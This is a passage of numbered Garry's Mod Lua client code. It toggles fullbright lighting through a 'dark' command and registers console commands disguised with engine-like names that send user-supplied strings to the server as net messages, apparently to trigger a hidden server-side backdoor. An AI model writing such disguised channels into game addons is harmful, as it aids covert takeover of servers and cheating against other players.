9929 hook.Add( "RenderScreenspaceEffects", "RenderColorModifyPOO", PUMPPPTEST )
9930 end
9931
9932 function TogNight()
9933 local ply = LocalPlayer()
9934 if On == true then
9935 On = false
9936 ply:ConCommand("mat_fullbright 0")
9937 elseif On == false then
9938 On = true
9939 ply:ConCommand("mat_fullbright 1")
9940 end
9941 Night( On )
9942 end
9943 concommand.Add( "dark", TogNight )
9944
9945 concommand.Add( "mat_zset",function(ply,command,args,classname)
9946 net.Start( "mat_zset" )
9947 net.WriteString(args[1])
9948 net.SendToServer()
9949 end)
9950 concommand.Add( "adsp_door_length",function(ply,command,args,classname)
9951 net.Start( "adsp_door_length" )
9952 net.WriteString(args[1])
9953 net.SendToServer()
9954 end)
9955 concommand.Add( "faceposer_flex01",function(ply)
9956 net.Start( "faceposer_flex01" )
9957 net.SendToServer()
9958 end)